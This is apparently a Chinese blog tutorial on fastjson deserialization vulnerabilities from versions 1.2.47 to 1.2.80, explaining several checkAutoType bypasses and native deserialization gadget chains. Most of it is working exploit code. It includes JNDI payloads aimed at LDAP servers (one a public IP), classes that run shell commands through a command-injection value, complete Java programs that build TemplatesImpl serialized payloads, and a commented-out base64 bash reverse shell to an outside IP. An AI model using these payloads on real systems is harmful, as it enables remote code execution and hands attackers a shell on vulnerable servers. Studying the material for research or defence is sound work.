这个版本的fastjson总算是修复了之前的关于字符串处理绕过黑名单的问题,但是存在之前完美在说fastjson 1.2.25版本的第一种poc的那个通过mappings缓存绕过checkAutoType的漏洞

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:9999/Exec",
"autoCommit": true
}
}

fastjson 1.2.47 mappings缓存导致反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://101.34.80.152:1389/5ltdh9",
"autoCommit": true
}
}

fastjson 1.2.68 反序列化漏洞

fastjson 1.2.47的时候爆出来的这个缓存的漏洞很严重,官方在1.2.48的时候就进行了限制。
我们修改上面的pom.xmlfastjson版本为1.2.68
直接翻到MiscCodec这里,可以发现,cache这里默认设置成了false

image-20240803184756065

在1.2.68中又提出了一个新的 autoType 绕过思路:利用 expectClass 绕过 checkAutoType()

checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。

image-20240803185201959

发现同时满足以下条件的时候,可以绕过checkAutoType

  • expectClass不为null,且不等于Object.classSerializable.classCloneable.classCloseable.classEventListener.classIterable.classCollection.class
  • expectClass需要在缓存集合TypeUtils#mappings中;
  • expectClasstypeName都不在黑名单中;
  • typeName不是ClassLoaderDataSourceRowSet的子类;
  • typeNameexpectClass的子类。

这个expectClass并不是什么陌生的新名词,我们在前置知识里面的demo中的这个Person.class就是期望类:

1
Person person2 = JSON.parseObject(jsonString2, Person.class);

但是之前的那些payload执行的时候,期望类这里都是null,那么是哪些地方调用了呢?我们直接全局搜索parser.getConfig().checkAutoType

image-20240803185455724

最终找到了这两个类

  • ThrowableDeserializer#deserialze()
  • JavaBeanDeserializer#deserialze()

ThrowableDeserializer

expectClass入参为Throwable

image-20240803185627628

如果传入的类是Throwable的子类或者实现类,就可以绕过checkAutoType检测,获取class

image-20240803185830189

并且由于是Throwable的子类,在getDeserializer()获取反序列化器时,也能拿到ThrowableDeserialize反序列化器,最终出发对应的ThrowableDeserializer#deserialze()image-20240803190205269

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.IOException;

public class ExecException extends Exception {

private String domain;

public ExecException() {
super();
}

public String getDomain() {
return domain;
}

public void setDomain(String domain) {
this.domain = domain;
}

@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
} catch (IOException e) {
return e.getMessage();
}

return super.getMessage();
}
}


1
2
3
4
5
{
"@type":"java.lang.Exception",
"@type": "payloads.fastjson.ExecException",
"domain": "S1nJa.com | calc"
}

JavaBeanDeserializer

getDeserializer()获取反序列化器时,如果找不到合适的反序列化器,会调用最后的createJavaBeanDeserializer(),创建JavaBeanDeserializer进行反序列化

image-20240803190248033

在TypeUtils#addBaseClassMappings(),发现白名单中有个AutoCloseable,经调试他会获取JavaBeanDeserializer反序列化器

image-20231025153311274

而他的expectClass是可控的,就是在经过的ParserConfig#checkAutoType后得到的clazz值,而如果我们传入

1
2
3
4
5
{
"@type":"java.lang.AutoCloseable",
"@type": "payloads.fastjson.ExecCloseable",
"domain": "S1nJa.com | calc"
}

得到的expectClass就是java.lang.AutoCloseable

image-20231025153904376

所以就可以构造,实现java.lang.AutoCloseable接口的子类可以绕过autotype反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.Closeable;
import java.io.IOException;

public class ExecCloseable implements Closeable {
private String domain;

public ExecCloseable() {
}

public ExecCloseable(String domain) {
this.domain = domain;
}

public String getDomain() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
} catch (IOException e) {
e.printStackTrace();
}
return domain;
}

public void setDomain(String domain) {
this.domain = domain;
}

@Override
public void close() throws IOException {

}
}
1
2
3
4
5
{
"@type":"java.lang.AutoCloseable",
"@type": "payloads.fastjson.ExecCloseable",
"domain": "S1nJa.com | calc"
}

fastjson1.2.80fastjson反序列化注入

影响版本:fastjson <= 1.2.80

autotype:均可

1.2.69开始,将AutoCloseable以hash的形式又又又又加入了黑名单,如果使用AutoCloseable,expectClassFlag的值会变为false,若此时默认关闭autotype功能则无法加载继承AutoCloseable的恶意类,这条路便无法走通了

image-20231025164310188

但这次黑名单中并没有将Throwable加入黑名单,所以expectClass入参为Throwable的方式仍然可用,除此外更具突破性的应该是师傅们挖掘的对于特殊依赖的利用链

之前1.2.68使用JavaBeanDeserializer序列化器,1.2.80使用ThrowableDeserializer反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。

Java版本的影响

64b13bd8ef41ec546cde60d20408750c

原生反序列化

fj1<=1.2.48 & fj2<2.0.26(目前)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import javax.management.BadAttributeValueExpException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.alibaba.fastjson.JSONArray;



public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\fjyuansheng\\target\\classes\\Calc.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Chu0");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Class c = BadAttributeValueExpException.class;
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,jsonArray);

serialize(badAttributeValueExpException);
unserialize("./ser.bin");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
byte[] serialize = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(serialize));


}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

fj>1.2.48

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package org.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class TestPayload {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception {


// TemplatesImpl templates = TemplatesImpl.class.newInstance();
// setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}")});
// setValue(templates, "_name", "qiu");
// setValue(templates, "_tfactory", null);

TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\fjyuansheng\\target\\classes\\shell.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Chu0");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates, bd);

serialize(hashMap);
unserialize("./ser.bin");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
byte[] serialize = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(serialize));
// ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}